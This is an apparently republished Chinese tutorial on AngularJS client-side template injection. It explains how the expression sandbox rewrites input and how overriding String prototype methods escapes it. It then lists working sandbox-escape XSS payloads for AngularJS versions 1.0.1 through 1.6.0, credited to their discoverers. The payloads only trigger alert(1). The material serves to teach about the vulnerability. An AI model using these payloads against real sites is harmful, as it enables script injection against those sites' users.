AngularJs中用户输入动态模板XSS攻击的示例分析

这篇文章主要介绍了angularjs中用户输入动态模板XSS攻击的示例分析，具有一定借鉴价值，感兴趣的朋友可以参考下，希望大家阅读完这篇文章之后大有收获，下面让小编带着大家一起了解一下。

概述

XSS攻击是WEB攻击中最常见的攻击方法之一，它是通过对网页注入可执行代码且成功地被浏览器执行，达到攻击的目的，形成了一次有效XSS攻击，一旦攻击成功，它可以获取用户的联系人列表，然后向联系人发送虚假诈骗信息，可以删除用户的日志等等，有时候还和其他攻击方式同时实施比如sql注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼，它带来的危害是巨大的，是web安全的头号大敌。

前情提要

angularJs通过“{{}}”来作为输出的标志，而对于双括号里面的内容angularJs会计计算并输出结果，我们可以在里面输入JS代码，并且一些语句还能得到执行，这使得我们的XSS有了可能，虽然不能直接写函数表达式，但这并难不住我们的白帽。

沙箱检验

angularJs会对表达式进行重写，并过滤计算输出，比如我们输入

{{1 + 1}}

在JS中会被转换成

"use strict";
var fn = function(s, l, a, i) {
 return plus(1, 1);
};
return fn;

return fn;这里的返回会被angualrJs执行，angularJs改写这个方法后转换是这样的

"use strict";
var fn = function(s, l, a, i) {
 var v0, v1, v2, v3, v4 = l && ('constructor' in l),
 v5;
 if (!(v4)) {
 if (s) {
 v3 = s.constructor;
 }
 } else {
 v3 = l.constructor;
 }
 ensureSafeObject(v3, text);
 if (v3 != null) {
 v2 = ensureSafeObject(v3.constructor, text);
 } else {
 v2 = undefined;
 }
 if (v2 != null) {
 ensureSafeFunction(v2, text);
 v5 = 'alert\u00281\u0029';
 ensureSafeObject(v3, text);
 v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text);
 } else {
 v1 = undefined;
 }
 if (v1 != null) {
 ensureSafeFunction(v1, text);
 v0 = ensureSafeObject(v1(), text);
 } else {
 v0 = undefined;
 }
 return v0;
};
return fn;

angularJs会检查每一个输入的参数，ensureSafeObject方法会检验出函数的构造方法，窗口对象，对象，或者对象的构造方法，任意的其中一项被检查出来，表达式都不会执行.angularJs还有ensureSafeMemeberName和ensureSafeFunction来过滤掉方法原型链方法和检查这个指向。

如何逃逸

怎么样能逃过模板的过滤呢，可以让我们输入的模板被角执行，因为angularJs不支持函数输入，我们不可以直接覆盖本地的JS函数。但在字符串对象中找到了漏洞，fromCharCode，则charCode， charAt，由于没有重写这些方法，通过改变本地的js函数，我可以在angularJs调用这些方法的时候为自己开一个后门，将我改写的来覆盖原来的函数。

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';

fORMCharCode方法执行的时候内部的this指向的是String对象，通过上面的可指执行语句，我们可以对fromCharCode 函数进行覆盖，当在本页面内执行时，比如：

onload=function(){
document.write(String.fromCharCode(97));//会弹出 /Backdoored/ 
}

还可以这样

'a'.constructor.prototype.charCodeAt=[].concat

当angularJs调用charCodeAt函数时，我的代码就被执行到angular源码去了，比如说在这段里面有encodeEntities 方法用来对属性和名称做一个过滤然后输出，

if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));//找的就是encodeEntities   
out('"');
}

具体的encodeEntities代码如下：

function encodeEntities(value) {
return value.
 replace(/&/g, '&').
 replace(SURROGATE_PaiR_REGEXP, function(value) {
 var hi = value.charCodeAt(0);
 var low = value.charCodeAt(1);
 return '&#' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';';
 }).
 replace(NON_ALPHANUMERIC_REGEXP, function(value) {
 return '&#' + value.charCodeAt(0) + ';';//这里发生了不好事情，我改写了这个方法，可以植入一些恶意代码，并且得到返回输出  }).
replace(/</g, '<').
replace(/>/g, '>');
}

具体执行

//这是输入代码 
{{
 'a'.constructor.prototype.charAt=[].join;
 $eval('x=""')+''
}}

//这是被覆盖影响的代码  
"use strict";
var fn = function(s, l, a, i) {
 var v5, v6 = l && ('x\u003D\u0022\u0022' in l);//被影响的
 if (!(v6)) {
  if (s) {
   v5 = s.x = "";//被影响的
  }
 } else {
  v5 = l.x = "";//被影响的
 }
 return v5;
};
fn.assign = function(s, v, l) {
 var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);//被影响的
 v3 = v4 ? l : s;
 if (!(v4)) {
  if (s) {
   v2 = s.x = "";//被影响的
  }
 } else {
  v2 = l.x = "";//被影响的
 }
 if (v3 != null) {
  v1 = v;
  ensureSafeObject(v3.x = "", text);//被影响的
  v0 = v3.x = "" = v1;//被影响的
 }
 return v0;
};
return fn;

{{
 'a'.constructor.prototype.charAt=[].join;
 $eval('x=alert(1)')+'' //注入了alert(1) 
}}

"use strict";
var fn = function(s, l, a, i) {
 var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l);
 if (!(v6)) {
  if (s) {
   v5 = s.x = alert(1);
  }
 } else {
  v5 = l.x = alert(1);
 }
 return v5;
};
fn.assign = function(s, v, l) {
 var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l);
 v3 = v4 ? l : s;
 if (!(v4)) {
  if (s) {
   v2 = s.x = alert(1);
  }
 } else {
  v2 = l.x = alert(1);
 }
 if (v3 != null) {
  v1 = v;
  ensureSafeObject(v3.x = alert(1), text);
  v0 = v3.x = alert(1) = v1;
 }
 return v0;
};
return fn;

下面附上一些代码，可以直接结合angularJs验证

不同版本的实现代码以及发现者：

1.0.1 - 1.1.5    Mario Heiderich (Cure53)

{{constructor.constructor('alert(1)')()}}

1.2.0 - 1.2.1     Jan Horn (Google)

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

1.2.2 - 1.2.5    Gareth Heyes (PortSwigger)

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

1.2.6 - 1.2.18    Jan Horn (Google)

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

1.2.19 - 1.2.23    Mathias Karlsson

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

1.2.24 - 1.2.29 Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

1.3.0    Gábor Molnár (Google)

{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}

1.3.1 - 1.3.2    Gareth Heyes (PortSwigger)

{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf; 
$eval('x=alert(1)//'); 
}}

1.3.3 - 1.3.18    Gareth Heyes (PortSwigger)

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;

'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}

1.3.19   Gareth Heyes (PortSwigger)

{{
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; 
$eval('x=alert(1)//'); 
}}

1.3.20    Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 - 1.4.9    Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

1.5.0 - 1.5.8  Ian Hickey

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

1.5.9 - 1.5.11   Jan Horn (Google)

{{
 c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
 c.$apply=$apply;c.$eval=b;op=$root.$$phase;
 $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
 C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
 B=C(b,c,b);$evalAsync("
 astnode=pop();astNode.type='UnaryExpression';
 astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
 astNode.argument={type:'Identifier',name:'foo'};
 ");
 m1=B($$asyncQueue.pop().expression,null,$root);
 m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
 $eval('a(b.c)');[].push.apply=a;
}}

= 1.6.0 Mario Heiderich（Cure53）

{{constructor.constructor('alert(1)')()}}

感谢你能够认真阅读完这篇文章，希望小编分享的“AngularJs中用户输入动态模板XSS攻击的示例分析”这篇文章对大家有帮助，同时也希望大家多多支持编程网，关注编程网html频道，更多相关知识等着你来学习!